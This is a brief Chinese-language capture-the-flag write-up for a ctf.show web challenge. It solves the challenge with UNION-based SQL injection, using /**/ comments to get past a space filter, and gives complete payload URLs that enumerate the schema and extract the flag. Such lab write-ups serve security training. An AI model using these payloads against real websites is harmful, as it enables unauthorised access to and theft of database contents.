如题所示:
(1)随意点入一个文章,在URL中发现有?id=x这样参数,因此判断有SQL注入点:
(2)跟上题一样这题也是过滤空格的
(3)把空格改成//,发现没有过滤**
(4)随后就是把?id=-1,联合查询就行了
http://63d80c8a-317e-4b8f-a2a0-0af74c123b1b.challenge.ctf.show/index.php/?id=-1/**/union/**/select/**/1,database(),3
得到数据库为web7
(5)爆表得到三张表flag、page、user
这里在写sql语句的时候要注意table_schema="web7"这里要用双引号,这题好像用单引号不行
http://63d80c8a-317e-4b8f-a2a0-0af74c123b1b.challenge.ctf.show/index.php/?id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema="web7"
(6)爆表名为flag的所有列,得到列名为flag的列
http://63d80c8a-317e-4b8f-a2a0-0af74c123b1b.challenge.ctf.show/index.php/?id=-1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"
(7)获取flag:
http://63d80c8a-317e-4b8f-a2a0-0af74c123b1b.challenge.ctf.show/index.php/?id=-1/**/union/**/select/**/1,flag,3/**/from/**/flag
(8)收工